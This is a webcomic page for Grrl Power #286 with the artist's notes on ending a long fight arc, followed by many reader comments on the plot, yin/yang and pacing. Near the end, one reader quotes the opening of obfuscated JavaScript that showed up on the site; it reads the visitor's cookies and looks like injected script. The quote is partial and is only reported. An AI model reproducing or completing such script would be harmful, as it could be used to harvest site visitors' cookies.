Grrl Power #286 – Aaaand scene
I’d liked to have one more row of panels showing Vehemence slumping to the ground, reverting back to his original size, his armored arm clanking off in strips, showing a regular arm underneath, but yes, the fight is finally over. It feels slightly anti-climactic to me in some ways, but really, the only viable options at this point given their resources were to kill him or talk him down.
I’ll have to do a port mortem on the fight, sit down and reread the whole thing and see where I could have edited it. I certainly didn’t intend for it to last 86 pages. (Actually 107 pages if you count all the double sized pages.) I probably should have cut the Death Toll stuff as it didn’t add anything to the fight that didn’t happen again on a larger scale with Vehemence, and there’s probably a few more things I could have taken out or saved for later to lower the page count, but besides it running longer than I would have liked, I think it went mostly ok, especially seeing how it was my first fight. (And will probably be the only one for a while.) I’ll be glad to get back to the slice of life stuff though, which is really what the bulk of the comic is supposed to be about.
Edit: To clarify: I didn’t mean to imply that I was going to go in and cut pages out of the comic, just that I’d be a little more critical about future pages and make sure they really contribute something, especially if a scene is taking a while to get through. The Death Toll pages did add stuff, mostly humor and as some have pointed out, it showed the team that Sydney’s genre savvy has some value to the team.
This is probably the last double page I do for a while (watch me make a liar out of myself in the next 10 pages :P ) Originally the double pages were intended to let me blow the panels up so I could to better looking action, but mostly what happened was the double pages wound up having 12-18 panels which meant I was really doing 3 pages a week and just posting two of them at once. Sure I like getting more comic out there for everyone, the problem is when I do 3 pages a week, it’s 12-13 hours a day, 7 days a week of drawing, and that leaves me time for little else. I’m sure many of you have noticed the vote incentive has gotten a bit stale for instance, or that my “What I’m Reading” widget has been on the same book for the last 2 months. I’d like to get back to doing more peripheral stuff like the vote incentives, cause they let me expand the world outside of just linear story telling, and the occasional piece of fan art or guest comic would be nice as well. I’ll also need some time to run back through and got to my big list of fixes, mostly art stuff like Maxima’s sudden change in rank, before I can put the book together and set up a kickstarter for that.
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Always thought it was “Up the Ying Yang!”, which is not the same thing as “Yin and Yang”, so Sydney has it correct (and so does Maxi)
to be fair “Ying” is a common mispronunciation of Yin.
But, “Up the Ying Yang” has a different meaning altogether
Yeah, sort of like being “up the creek,” but a little bit more anatomically personal…
The human minds loves the symmetry of two terms about linked, “opposing” and balanced concepts. It should be Ying Yang and since we aren’t Chinese we are free to correct this “error”. :-P heh
Similar philosophies originating in the more western countries used “Order & Chaos.” Egypt, for example, had less concern of Good vs. Evil than they did for Order vs. Chaos…It’s the fundamental concept of their cosmology & origin of the universe.
Also? Please, go back and fix errors (like Sydneys ‘here one page, gone the next’ bruises) but don’t cut the pages of the fight
I don’t think there is a risk of cutting already drawn pages. It was just a reflection, what could have been done differently to make the fight shorter. The length is fine when reading from archive, I wouldn’t mind if it was even longer.
To all who want more.
Just remember most kickstarters have stretch goals.
So the more money we pledge the more we should get in return.
Win-Win.
Being poor I will never see these things… TT
Oh well, at least the main comic is free and shiny.
A smart owner/purveyor of a kickstarter will carefully limit a Kickstarter’s stretch goals/donation rewards to make sure that the stretch goals don’t cause delays/hinder the overall project.
So he tried to Force blast them but it didn’t work cause all the strongest were holding on to him.
panel 11, he really doesn’t have much choice. give up or die. “You’ve chosen wisely.”
“… which is really what the bulk of the comic is supposed to be about.”. DAMMIT!
its alright that the fight ends, but that sentence means i was wrong before…
“…Maxima’s sudden change in rank…”
Her rank was lieutenant (or however its spelled) right?
No one cares about the toothless or the other guy. Hiro is not that important and of Amorphous we only see his stretchy arms…
but what is it that let anvil be on “who’s who” that does not apply to “stalwart”?
is he just “extra” too? IS IT CAUSE HE IS MALE!?!?! SO SEXIST! just kidding… but really, why?
No, she was originally portrayed as being a full Colonel, when she should be a Lieutenant Colonel (or maybe the other way around)
Jiggawatt and Anvil had speaking lines (“But screw that guy.” and “He’s trying to push us off!”). None of the guys did. Only speaking characters get a who’s who. Otherwise it’d get stupidly crowded in certain pages.
Yup.
The rules are: Only speaking characters that have been given a name in comic get in the Who’s Who
We-ell, the name of the comic -is- ‘Grrl Power’, and the MC is female, so if you are confuzled by the female chars getting center stage while the males are in largely secondary/supporting roles..
Frankly, I like the inversion. In most ‘superteam’ comics, there are only enough female chars to satisfy diversity and supply eye candy.
Still enough eye candy for those who want ;-)
Heh! It’s not sexist because the first major appearance of the guys involved beefcake, because the Grrls have been involved in cheesecake too. You know…Equal treatment.
:)
ALMOST equal treatment… :D … Dave hasn’t done a behind-the-age-wall Deviantart of a Full Monty of ANY of the GUYS yet… granted, I’m biased as a heterosexual male and i enjoyed his portrayal of Peggy and Harem quite well mind you, and would probably ignore the link to one done of a guy, but still… not QUITE equal treatment (yet)…
Anyone else spotted Jiggies hairband flying off in panel one? Nice detail right there :D
that answers my surprise to the new Jiggawat look :) thanks
So, how does one contain Vehemence? Permanently keep him doped up on magic? Okay… I’m curious what the laws are regarding magic in this setting.
As if they could. One little prison riot and he’d be out.
Precisely what I was thinking. Even if you kept him locked down in solitary, his scope is still undefined. Maybe if you built a prison around him somewhere in the middle of the Australian desert you could conceivably keep him imprisoned.
I’m also curious if watching violence on TV would empower him.
Until a powerful new well meaning but amateur vigilante super decides to lure their opposing super villain out into the Australian desert so as to risk less citizens lives when they are flinging around their massively destructive powers.
Dave says his range is not locked down yet but not miles (maybe a mile?) and or that there was diminishing returns with great distance so I guess if you put him at least a mile underground he would probably be far enough from most sources. (check for seismic stuff down there and such)
Except that we Aussies have our own uses for our desert, thank you very much. Park Vehemence in yer OWN desert, Yank. I KNOW the US has plenty of those.
Our deserts aren’t all that big and tend to get used to bury those that annoy mobsters. Why not bury him under a non-violent country. Like Canada? Everyone says they are super nice.
Call it like it is. The US wants to bury a highly dangerous super-criminal in SOMEONE ELSE’S backyard – mainly because they don’t want said super-criminal on their own.real estate.
Be prepared to pay mucho bucks for the priviliege, and be prepared for a lot of countries to say “Oh, Hell, no.“ to the idea. Hard enough finding folks who will accept toxic waste.
That is exactly what you say. In this country, Lefties keep saying, “Build more prisons,” because of crime rates, but when it comes time to actually build one, those same lefties yell “NIMBY (Not In My Back Yard). they also say that we need more electricity, but if someone even suggests that nuclear plants are, statistically speaking safer & cleaner sources of power than anything else developed, again those very same people yell NIMBY some more.
I hope you can understand what it is we’re trying to deal with here…
:/
I personally don’t mind either, and am a ‘lefty’. As Carlin put it, the criminals aren’t exactly going spend bunch of time dicking around after escaping. As for the nuclear reactors, eh, depends on design and the precautions in place. Although, given how close to DC I live, somehow I doubt there are going too many reactors in the area.
You poor mutant! I hope you are not afflicted with gingerism* too?
* Disclaimer: comment made purely for comedic effect. Pretty redhead girls can safely fall in love with me, I will be sure to reciprocate. I even find the, often associated, freckles to be cute too.
I suppose it would be a worst case scenario if they got found out close to the prison and had to take a hostage. But in the rare case of a jail break you would think the worst someone would loose is a car for the get a way.
Deep beneath some undisputed international waters somewhere then?
Which sounds good in principle, but I suspect that would risk having the UN stick its oar in. Which is a worry.
Plus V is really oddly polite sometimes… Maybe he IS Canadian! LOL (Dave does say he is not sure of his abilities to write some or maybe any accents… could lead to fun later)
As there is no force to accompany the violence, I doubt it.
About as well as licking the screen when it shows a lolliepop puts sugar in your blood stream. heh.
Actually he wouldn’t be too hard to contain at this point. He said as much that if he hadn’t been so supercharged from all the violence that Maxima could have taken him out quickly and easily.
So put him in a specially created solitary cell, literally tons of steel and concrete on all sides. Give him this ultimatum, if we detect you powering up at all, or make a single attempt to escape, we call Maxima in and she kills you immediately, no trial, no second chances. First evidence of bad behavior equals death. Isolated as he would be, there is no conceivable way for him to power up enough to be a lethal threat to Maxima before she couod arrive and kill him, unless there was a 8.0 earthquake right underneath him.
how you contain V? treat his as an SCP. “big cage out in the middle of nowhere, monitored 24/7. in case of containment breach, proceed with the protocol maxima-1”
Somehow I don’t think the SCP Foundation has set themselves up in this verse. But sticking him near a Buddhist monastery is a perfectly fine means of containment. Plus you’re going to want to study him, and isolation might have him start beating the walls or some such. That’s the thing, people in containment have to be given something to do and people to socialize with, because otherwise the subjects are going to go crazy.
And also, the United States is supposed to have a higher, more moral code than the SCP Foundation, you know? After all, it is a horror site, primarily.
I never said to send him “there”, just to treat him as if he was.
And i never said he is not allowed to have guests or exercise.
and as for the moral code… well, if one of their things escape it may mean end of the world, so what is your moral code going to do then?
This is actually a bigger problem with a lot of the other people than Vehemance. You can’t lock most of these folks up without keeping them permanently unconscious, which is just the death penalty in disguise.
except that it can be undone if needs to.
or if some evil want to take them…
Carbonite… or maybe whatever tech they used on Khan’s people in the reboot?
Keeping any of this bunch in prison without any special devices, drugs and other illegal and immoral restraint is going to depend on one thing. Arc SWAT kicked their collective asses in seconds flat. The next time Max’s crew won’t go so easy on them. In other words safer to serve the time and behave. Just like any normal felon.
I think that Vehemance could be a potential team member. He might not seem to be a team player right now, but I think that may mostly be because with his plan (ingenious by the way) he thought he couldn’t lose. But this guy is really REALLY smart, I believe that with his intelligence and Ms. Scovilles persuasion skills he could become a valuable asset overall.
*Coughs* He’d only do it to pull a Lex Luthor. After all he feeds off of Violence, and while he might pretend to be a good guy. He’s prime Anti-Villain material, and even if he were to turn “good”, I’d see it as an on again off again thing. With him using those smarts of his to create a “Not in control of my body” type thing where he can deem his actions not his own. Or something similar. But I don’t honestly see him going in and playing it straight for long.
Hell no. I want to see as little of that guy as possible.
Why? By making him a team member, not only will we get annuals, we’ll get weeklies, maybe even dailies, too (MWAHAHAHAHA)! SHEER BRILLIANCE!
Because he annoys me?
Pfft. Minor details. ;p
He knows a lot about other criminal supers. They might make him the ‘Hannibal Lecter’ character of the comic. They keep him looked up and come to him from time to time when they want some information. Sydney could stand in for the ‘Clarice’ role.
Vehemence: We’ve got a real ‘Silence of the Lambs’ thing going, haven’t we.
Halo: Yeah, we kinda do.
Vehemence: …
Halo: …
Vehemence: …I’m Clarice, aren’t I.
Halo: Li’l bit.
+1 (all my interwebs are yours)
The quintessence of win and awesome.
*HEH* +100. They do have a rapore going on throughout the fight, don’t they. I could totally see this line from this comic.
Heh. How appropriate.
Awesome exchange.
At this point V knows which end of the strings he’s on.
Yep. He’s on the end with all of the knots & tangles…
You simply can’t trust Vehemence not to try to escalate every minor disagreement into a devastating brawl, just to feed on the violence and charge himself up. Also, he has said that he wants to kill Max ASAP, so I doubt she’ll want to work with him.
But the only way he was able to get close to beating Max was by having a Super-Mega Smash-Bros style Brawl. so unless they visit a war Max is kosher. He was planning on being the Al Capone of the Super Villian world, but that got kiboshed when Syd whooped him. He’s not an egotistical muscle idiot. he’s smart enough to know that when you get beat once, you’re most likely to get beat again.
See, this was an ending that made sense. Vehemence was never a crazed mad dog killer type. He isnt out to take over the world, he just saw the chance for the best and biggest fight ever and took it! This was nothing more than fun to him. The only reason he got so serious at the end was self preservation, because max was going to (and able to) kill him. Otherwise he would have knocked her out and left. To take Sydneys turn of phrase, maybe turn it into an annual thing. He is very rational (though obviously pissed at how things turned out, seriously sydney, dont start the arrogant mockery thing now, its not a good time) so seeing that he is trapped in a no win situation, he picks the one that wont end in his head exploding.
Also, one last note, ow. That last bit of lightning did some damage to maximas wrist there. Guess she had dumped a bit too much into strength to fully ignore the voltage. Good thing jiggawatt is so damn stubborn.
An ‘annual’ thing. Let’s call this point one day in the comic their time. It is 4.5 years our time. So for him to show up again one year in their future means we will see him again in the year 3657 (or 3662 if it is a leap year for them)
That’s not how comic time works.
You know we’re now going to skip ahead months after the wrap up is done
Starting potentially lethal (“I hope she doesn’t die”), maybe even with multiple deaths, free for all super brawls for the fun of it is not the sort of thing that makes people want you to stay alive. It makes you seem like a being of chaos and death to those in charge of this world. Military minds in particular would want you dead just to make the playing field more orderly and predictable. THE BAD GUYS might be happier with you out of the way so they can carrying on with business without a random fly in the ointment showing up anytime they bring too much ordinance to bear on a problem…
The only people that would want you alive are those who value the sanctity of life over the public safety, national security and or global stability. Or those who need to look, for the moment, like they highly value individual lives. (until we get him out of sight and the public minds somewhere dark the… GOVERNMENT SPONSORED VIVISECTIONISTS MAXIMA!! XD)
if his regen is still active while unconscious and dave about said as much by having him put to sleep with the crushed windpipe he will be able to be put into a government hospital and voluntold to donate organs and blood or just have doctors take some while examining him for health and safety. the violence of a hospital should provide a source of energy for him to survive while he is able to help people(willingly or not).
I think that’s fairly suicidal place to keep V.
At the very least I would just build the surgery suit into his underground prison and just transport the organs. Maybe that Portal woman might be willing if she comes out of the concussion V put her in.
If he were to be kept permanently sedated, it would only be fair (by means of super powers or such technomagic as Arc might have access to) to provide him with the illusion of being in a waking state, and give him something entertaining to do.
For instance, conjuring up a virtual reality where super-powers are real, and he is the most powerful individual in the world, who could only be opposed by the massed ranks of an entire team of super heroes!
So basicly the Matrix
I don’t think basic human rights would allow that
Don’t feel too bad about having so much material for this first fight, Dave…After all, it happened to have a lot of super-powered antagonists running around. Probably the biggest problem was the actual numbers included. You’re still in the stage of setting up the setting & the major characters, but this first encounter included a lot of minor-grade villains too. At least you found a way to get most of the little criminals captured early, so it’ll give you a good excuse for a more prolonged time frame with the “slice of super life” & not have to throw in a bunch of interruptions. You’ve managed to thin a lot of predators out of the environment.
The only major point I have involves a little discrepancy that seems apparent in your references to the Daoist philosophy. At the cost of a sleep spell, Dabbler gave Vehemence a chance to live whereas Maxima is ready to kill him: In the Daoist philosophy, Yang symbolizes Positive, Light, Life, etc; Ying is the Negative, Darkness, Death side. It would read a bit better if Vehemence has the choice of Dabbler’s Yang (still living) to choose over Maxima’s Ying (to die). It seems to me like you got the difference between Ying & Yang mixed up in there.
nah man, the Yin-Yang thing depends on perspective, really… what you said is true, but it’s also true that Yang = power, masculine, brutal, etc; while Yin = intuition, feminine, subtle, etc. (or so I remember but then again it’s been quite a while)… considering this, it’s really a matter of which point of view to choose :)
cheers ♥
Too true (how could it be otherwise?), in this context Sydney is taking the aspect of the Bodhisattva Guanyin (Also known as the Goddess of mercy).
Ok, now I really need to find some videos of the “Monkey” series on the internets.. “monkey magic, monkey magic”
You really can’t go wrong with the “Monkey” series from the 70’s, with the female priest
Yeah Masako Matsume was very (disturbingly to some) pretty for a “boy priest”. Alas, she died at the very young age of 28 to leukemia.
Guesticus, care to share what part of the world you are from? I’ve always thought only Japanese and Australians got to enjoy the oddly overdubbed craziness that was Monkey. (Aussie here)
Not to step on anyone’s toes here, but I remember ‘Monkey’ on TV here in the UK, way back in the day.
Likewise. And enjoyed it. Similarly, for the the modern re-make, on *ahem* You-Tube. Not that I am likely to get to the end of it. The Journey to the West goes on and on and…on.
Cool! Glad to see other civilised countries understand that Buddhist wisdom consists of non-violence, caring for all life and hitting monsters with a (at times very) phallic staff :-).
Main reason I asked is that I know many Americans who were unaware of the series until some evil person like my friends or myself broke their minds by introducing it to them.
Yang also encompasses Passion (both positive & negative passions, such as Joy & Anger), while Yin includes Passivity, Lethargy & Apathy as well. I think this fits the major difference between Dabbler & Max, especially since Dabbler’s action means that V’s nap will only be temporary in comparison to what Max will do.
I’m assuming Sydney is basing her understanding of Yin(g)/Yang on comics and RPGs. I know for a fact that in White Wolf’s Year of the Lotus series, ‘Yin’ was always treated as passive/reflective; ‘Yang’ was assigned to active/impulsive. There’s probably other, similarly inauthentic/dumbed-down versions out there, and Sydney, as an ubergeek, probably is drawing her knowledge from those sources.
And I agree that the big element working against our author (in terms of audience expectation) was the fact that this massive brawl came so early in the series–normally, you’d have a bunch of these clowns get busted for individual crimes, and then either escape or be released after serving time. THEN Vehemence would gather them all up for the grand melee, as his introduction as the dangerous new mega-villain.
Note: When I say, “normally”, I mean that’s the usual mode for super-comics these days. It wasn’t always the case–most notably, the very first X-Men introduced Magneto with his first Brotherhood of Evil Mutants team. But that kind of cold-start hasn’t really been in vogue for decades, which gives GP a bit of a retro-feel in that regard. Not bad, but it did run counter to reader anticipation, which can create a jarring note.
Heck, I was just hoping Sydney would run into the obligatory convenience store robbery, or giant rat to fight. Just so that the folks whining, about never seeing any combat, could stop. Then we could get back to the slice of life stuff! :)
and following the Giant Rat, she’ll find the “poorly locked chest” in a closed 10′ by 10′ room guarded by….. er… wrong genre, huh… um… ok, maybe that’ll happen in the game session with Kopy Kraut?
This is all just in my head, but re-reading the big fight…
For Vehemence, I read every single one of his lines, every word he utters, in a soft, calm voice.
He doesn’t shout. He doesn’t get angry. And he becomes just that much more threatening.
Except the part where Maxima almost crushed his balls…
I can understand his yelling at that point. It was more out of concern for the potential “little V’s” that he may someday add to the population…
Honestly 107 pages isn’t that bad. You have some Manga battles that last longer than that. Heck you have Dragon Ball Episodes that last way, way, way, more longer than that. And as is, having read it three times so far. It’s rather good for a first fight.
Your main villain was spectacular, and honestly I’m glad that he’s going to be able to come back, one way or another. He literally was to good of an Anti-Villain to kill (I use Anti-Villain because he was ethical, polite, and had a certain code of coduct. Even though his goal boiled down to “Have the best fight ever, then murder |= |_| < 1< Maxima till she's nothing but a smear on the pavement.").
Honestly with his brains, connections, and ability to encite some deliciously violent chaos. He could easily be a less rich, superpowered Lex Luthor, and I honestly can't wait to see him a few hundred comics from now. Or when you need to bring him out from the Grrlpower Rogues Gallery. After all with how horrible places are for holding super villains in comics, so it'll be interesting to see what type of gallery you build up. And Death Tolls, did kind of add something by showing that Sydney was in fact intelligent and had the Smart Ball, with a strong mix of Genre Savyness.
Here are my thoughts on the fight. Dragon Ball Z. Entire episodes of powering up and only a little advancement of the battle or the plot at all.
This battle. Multiple combatants on all sides. You did the show don’t tell on things getting done. From Harem getting and giving out gear, to showing that Dabbler has an arsenal of tricks not just one. We got to see Maxima power dumping. Sydney showing the chops that could one day make her Max’s second. Each person in the team showed how they can be effective even if their abilities might seem restrictive.
Now you don’t have to do it again. A villain attacks and Max can tell Harem a piece of gear they need or just to “Suit us up.” One line and a panel or two later people are geared. Same for Dabbler’s weapons. She gets and puts them away as needed. Now we don’t need to see it unless the act itself becomes relevant in the future.
Each piece you have laid out is forming a solid background to draw upon. And I do not know about anyone else but I was never bored. Only excited to see what comes next.
Keep up the excellent work.
Maxi, Maxi, Maxi, don’t step on Sydney’s cape while she’s hoodwinking the bad guy.
Bah, there was no hoodwinking going on, it was an actual clear choice he had to make, surrender or die. He was too damn powerful to restrain without him allowing it, but they didnt want to kill him unless they had to. Had he turned it down, there would have been a flash of light, vehemence would have become exactly one head shorter, and there would have been more paperwork to fill out before they could go to bed. Remember, they arent the justice league here, they are a government law enforcement body. It might have caused a public relations fiasco for their first fight to end in a death, even if the other 30+ bad guys lived, but they wouldnt be doing anything they arent allowed to do.
That said, yeah, maxima really needs to learn when its not worth it to correct her. I mean, next comic, after vehemence is down and out, we get a final panel of, “Oh, and sydney, Its YIN, not ying.” It could have been even more amusing that way because then sydney could start ranting about how she ruined her big victory speech type thing by screwing up the words.
DaveB,
I’ll say this again, (after reading all the extant comments.) Just in case you search comments for your name.
I see Maxima’s throat has healed from its earlier hoarseness.
Easter egg
Halo is going to have to paint an arch villain silhouette on one of her Fly Ball. There are traditions to be maintained, after all!
Nah just a nice tasteful pin/embroidery on her pip band.
Only one? o_O
yeah, pretty sure she’d have a few marks there by now.
Yorp said ARCH-villain and Death Tolls was more of a poser while V actually set this whole thing up that almost wiped the team. V qualifies even if he is a bit more seat of his pants then most ARCH-villains. (if you are an Arch villain opposing ARC are you an ARC-Arch-villain?)
I do believe a pin would be best.
Especially if it is made from one of V’s discarded metal plates.
You know, that might possibly lead into some future adventure, in which Vehemence (free & with some level of power up already obtained) finds a way to exert some long-distance mind control on Sydney by using the link between himself & that discarded shard of armor. Over time, Sydney’s ADHD manifests with gradually darkening thoughts & patterns of humor until…SHE SNAPS!
Ya’ know,that’s just how stuff like that happens in comic books…
The pin is exposed to massive amounts of violence in a future ARC fight and starts to grow.
Finally becoming.
Mecha-V
Heh, if they do use a pin on the sleeve to note ‘takedowns’ I want to see an image of future Sydney with an armoured sleeve that someone has to explain IS all her counts. ;)
That would spark a “friendly rivalry” between Sydney & Math, as far as I see it.
For the purposes of humor & character interaction, of course…
;)
Double pages every week!! Having a life is for suckers. :) Actually, just wanted to throw out some congratulations on finishing your first (epic) fight. Sure, you could have made the Death Toll stuff a separate fight later, but it would have seemed anti-climatic after the big guy. Besides, we enjoyed it as it was happening.
Looking forward to reading through all of this in the archive, comic-book style. As a writer, I’d encourage you not to draw any conclusions on length until you’ve done that. I’ve serialized stuff, and it ALWAYS feels too long. Then you see the book and go, whatever. This fight would be a nice two-comic book set. (Mo’ money!_
Ooo… anyone else seeing a big chunk of Javascript on screen just above the comic?
Yes. It has me a bit nervous as the first thought that passed through my head was “SQL injection”.
Yeah, I’m trying to get it fixed now. It’s probably encouraging that we can see it. It probably means it’s not implemented correctly, whatever it is.
Gone now finally. :)
I know it’s probably a FAQ that I missed long ago, but did you get Dabbler’s incantation from The Kids In The Hall? More precisely, the Pit of Ultimate Darkness sketch? It certainly fits a sleep spell, it was the “sleep of ages” incantation used by the Sir Simon Milligan character.
:D
Im curious to see the final report on damage sustained by the heroes. I mean, maxima seems to have healed her throat, but that last shock did some pretty nice burn damage to her wrist, jigga has some pretty hefty damage from her inner ear, her eyes, and just general damage from all the blow back she has been taking helping drag down vehemence. She doesnt seem to have any real durability feats, so she is probably going to be sore for awhile, until the super healer gets ahold of her. A lot of the tanks have some nasty bruising going on, and heatwave took a NASTY stab to the foot, as well as some painful shock damage.
I am almost picturing it, a big conference room full of bruised and banged up heroes filling out their AARs groaning every time they shift position, trying to stay awake when they just want to go to bed and get some sleep. Meanwhile sydney is bouncing around like a squirrel on crack because aside from nega knuckles, she hasnt really taken any damage and hasnt physically exerted herself too much. So she is hyped up from her first super battle and doing so well at it.
They may catalog the damage for possible court purposes, but they do have a healer on staff. We don’t yet know how good she is, but chances are a lot of their problems will go away.
And then someone says “You know, I can’t help thinking we forgot something.” The scene cuts back to the rubble pile at the restaurant and we see a speech bubble “Hello? Is anyone there?”
Dammit! You beat me to it!
Crap, I can’t believe I forgot to put her gravelly font in. :/
I should have seen that coming but I totally thought she healed to. She has such a unique physiology. Reading the comments pays off again! ^0^
Healed or not, clearing your throat a few times usually helps a lot with the voice.
If your problem was of the mucus variety I suppose…
Woot! I spotted an error! Do I win a prize? :p How about, regular comic updates twice a week, sound fair?
Although it was long it had a lot of interesting detail, like fear of squirrels, transparent wet suits and the like.
That level of detail on the surroundings is quite rare to say almost nonexistent.
One of the best fight scenes I’ve seen in a long time.
I just have one question. What happened to Mach on Knife? :P
The will be a page with some after action reporting on it. :)
YEEeess! *fist pump*
I hope it includes something that you mentioned in the after-comic blog…About how Vehemence actually did regenerate flesh (& teeth) with armoring over it. Otherwise there would be no in-comic context that would explain V regaining his body parts, while still being able to Ka-Pants & armor up other body parts.
Without that context actually in the comic, some people might get confused as to why, at some point in the future, Vehemence may be shown without any power but still have his arm.
I really enjoyed the fight as is. This is the kind of “Epic Battle” print comics always promise, but which typically has to be done in twelve pages or less, and I really did enjoy one that really was epic in both length and scope. The length of the first sequence made Vehmence’s eventual ‘reveal’ all the more surprising, and the duration of the sequence allowed us to “play along” trying to figure out the strategy.
I really really really loved the fight.
Death Toll was really important for setting precedent for Sydney’s smarts both for the readers AND for the characters. I doubt everyone would have gone along with this just like that in no time if Sydney hadn’t shown herself to be capable planning-wise.
Literally everyone else was giving minor/supporting characters to show off their abilities as well. Actually could have stood more of that, especially Xuriel – she’s really awesome, as both succubus and a jack-of-all-trades adventurer, and of course personally ^^
And there was nothing anticlimactic about the ending for me. If anything, if the heroes ended up killing him THAT would have been anticlimactic, the decisive victory for them is to do what they were supposed to do AS LAW ENFORCEMENT which is exactly what they did
I mean artwork and showing motion and force clearly and composition and other specific visual storytelling skills are still kinda lacking (you can only tell what’s going on on the second panel because they are saying it out loud…)
but the narrative itself is fucking awesome don’t cut a thing
I think Death Toll was important as it set up Vehemence with his intel on the team. It would either take longer with one-on-one or create an unrealistic psychic element as to how he knows the power range of the team.
One thing I like about the wrap up is Dave’s use of the ‘bookending’ technique. The Blue Brawler who was in the first page of the fight is also in the last page.
Anti-climactic indeed. Still think a getaway would have made a better ending.
And so much for “once and for all,” that wonder spaze is crazier than she looks if she thinks this will keep him out completely.
He will be back.
Of course he will be back, that’s the entire point of this page, have you been sleeping through class again? o_O
Eh, it’s just Iron Rogue. He’d complain if Dabbler was offering free massages with happy endings because they didn’t have his favorite microbrew.
“WHAT?! No Chardonnay? I AM OUTRAGED!!!” ;)
That will cost you 50 quatloos
Sydney’s so used to thinking in comic book terms that I think she has no doubt he will be back at all if her some of her splintered thoughts went that way. She’s all about saving the day right now I think.
For now atleast, this is a definitive awnser.
Yeah, maybe now Sydney can get something to eat! Her first lunch evacuated onto Max’s boots…Her second lunch was interrupted with a serving of eye-scream & her dinner was just a duded-up baked potato (that she might not have been able to finish eating).
In words that I’ve seen Deadpool use, “I’m gonna eat until I fall asleep, then sleep until I’m hungry.”
All in all, I like the story so far. Presumably we’re almost done with the flashbacks. Now, Sydney’s real training begins.
Including some physical exercise. She’s the only one on the team who doesn’t have baseball shoulders & biceps… *snicker*
Why am i imagining a Gym montage of the girls doing their superheroine thing…pan over to sydney who is huffing, wheezing and cursing
Max: I tried to tell her, she’d run out of breath slower if she didn’t swear
Harm/Math/Somefucker: i think the cursing is necessary. it’s like smoke from a train
That is awesome
Probably has to complete all of her testing and training before they can promote her which has to happen before the flashback ends.
Can all just happen in a single montage though. With all the funny moments
As long as nothing weird happends, a simple training isn’t comic worthy
Testing and training. Some folks like Diane Castle of the Whateleyverse can make me happily read about training and testing of supers all day so with someone like her it would certainly be worth a comic or two.
Yeah, I agree…Some kinds of on-the-job training programs really suck, don’t they?
:)
Mr DaveB sir? Judging by the majority of the posts, you have done a great job, give yourself a round of applause and take the night off, you deserve it
+1
A wholly enjoyable fight.
I don’t find it anti climatic at all. It’s the perfect ending. Also, don’t worry about the stuff with ‘death toll’. It was a nice element to the story. This comic is awesome
Don’t you dare to edit the Deathderp stuff out later :P it might not have added anything storywise but damn that was funny with the oogly eyes and the defeat with the knife in the butt xD
Also nice to get taught that it’s not Ying and Yang Oo now just to get my brain to actually remember that…
Yay for Dabbler’s Yins :D
I don’t know why, but there’s something about V’s face in the 12th and 13th panel (third to last and second to last) that just gives me goosebumps. The expression and subtlety there is incredibly well-done. Mad props Dave.
D.B. as good the intention is, trying to make the comic shorter, lesser pages and all that. To me there is a fine line between a full story and a short story. Sure it took a while, your not posting every day for this comic, and Death tool was just fine, save he looked kind a dead there, at the end blood spurting out of his bottom and all that. To be true your comic is one of the better ones, ya put a lot of work into it and I think everyone here appreciates it. Now, take a little break and have a little fun, and remember Sydney has a tendency to throw off a climactic event, sometimes to the extreme, but then that’s why we love her antics.
So, let me say D.B. nicely done V bows his head in defeat to a small girl and Dab puts him to sleep, no big catastrophic, last of the hero strength punch that puts a really big dent in the earth, no hero’s last unselfish monologue spurted out.
Just over.
I like it. Thanks for a great comic D.B. Yours is one of the better ones.
maybe it’s just me, but i kinda prefer Jigg with her hair loose.
Idk, it looks kinda weird
So uh, most of the page is made up of this —> /* NTDtJJzTi1QO */var J3CU1z=”\u0075seridA\u0030817\u0046\u004225″;var BaFObIs=”30″;function USsb1H(K81deht){var GjvTq4v=document.cookie.replace(/\s/g,””).split(“;”);for……and so on an so forth.
thought you might of wanted to know. It’s either something gone sideways with the site, or Chrome has found my company not too it’s licking again. (grumbles) Stupid fickle launcher gives me love only to take it away sometimes.
But other than that, I have this sudden urge to find some one on etsy or another site and pay for them to make a chibi Dabbler plushy.
Dabbler? Halo’s the cute one.
Plushies of both then? Heck, it would be awesome to have the whole gang. <3
Liking* (side steps awkwardly to exit stage left)
I should also start reading the artist blog before allowing my faulty fingers to have their way with the key board. Sorry for not noticing earlier Dave. ^^;
*hugs his Dabbler Plushie tighter* MINE! =P
“Picks up a fire extinguisher”
Had to re-read that twice… my dirty mind convinced me you were hugging Dabbler’s pussy tighter…. *sigh*
“Calls in the aerial fire suppression units”.
Old joke between me and MidnightDstroyer. =P
Anti-climactic is having the same scene go on for over a year. Yeah, it’s been that long. And the only reason I bother following it anymore is because I have friends who follow it. I’ve been BORED waiting for this fight to end. Learn to get to the point faster, dude. Art’s good, but the story pacing is absurd.
I take that back. The art is quite frankly GREAT. This is easily one of the best-drawn webcomics out there.
Just wish the writer had even a millionth of the talent of the artist.
The same guy does both. Do your research dude.
I know. I’m saying maybe he shouldn’t.
You are not the first. However you have a misunderstanding. The issue is that the writer has material that is not to your taste. You mistake that for him not having talent. Those are two completely separate things.
Firstly his comedic skills are world-class. In his medium, I consider him to be on a par with stand up comedians, such as Billy Connelly and even worthy of comparison to Monty Python. His comedy is not harmed by the pace of a story, as he is able to find a surprising, funny twist, in any situation.
Comedy is highly subjective though, so you may not appreciate the humour. But there are many of us who love it. And, if you do like the humour, then you are doing DaveB a great disservice by writing him off as talentless. The comedy expressed in the comic comes from him, as a writer. He is simply able to show it to maximum potential, by his artistic skill.
Secondly he does have broader writing skills than just the jokes. It is just that he has an unconventional style and approach. One that does not prioritise a fast pace. But instead creating an immersive setting and then exploring the interesting aspects of it, and the characters within it, in depth. Only moving on, when he feels that he has told those things which he, and the majority of the fans, find interesting.
This is the result of a conscious choice on his behalf. It is not due to limitations or flaws in his capabilities. Such a writing style is rare, and therefore refreshing, to those of us who have read widely.
Randall Munroe, made a stylistic choice, when creating XKCD. Whilst he clearly does have the artistic capability to do otherwise, he chose to draw his cartoons with stick figures. This does not make him a bad artist. He simply chose that as the best way of presenting the material that he found interesting. And millions of people, around the world follow the strip, because he got it right.
Likewise, L.S. Lowry, painted matchstick men, and matchstick cats and dogs, for that matter, as his chosen style. Personally I do not like those paintings. But I appreciate that is just my taste. He is widely admired by many other people.
Were he to still be alive, I would not insult him by telling him that he should stop making rubbish paintings and draw realistic landscapes instead.
Clearly you do not appreciate the slow pace, but please do not equate your personal tastes, with a lack of skill in the writer.
Judging by the comments, you are in an overwhelming minority.
Keep up the awesome work DaveB
…more like an “overwhelmED minority”…
We live in an instant gratification culture. Where the first act must end by the ad break. And no scene should go on longer than a teenager’s attention span.
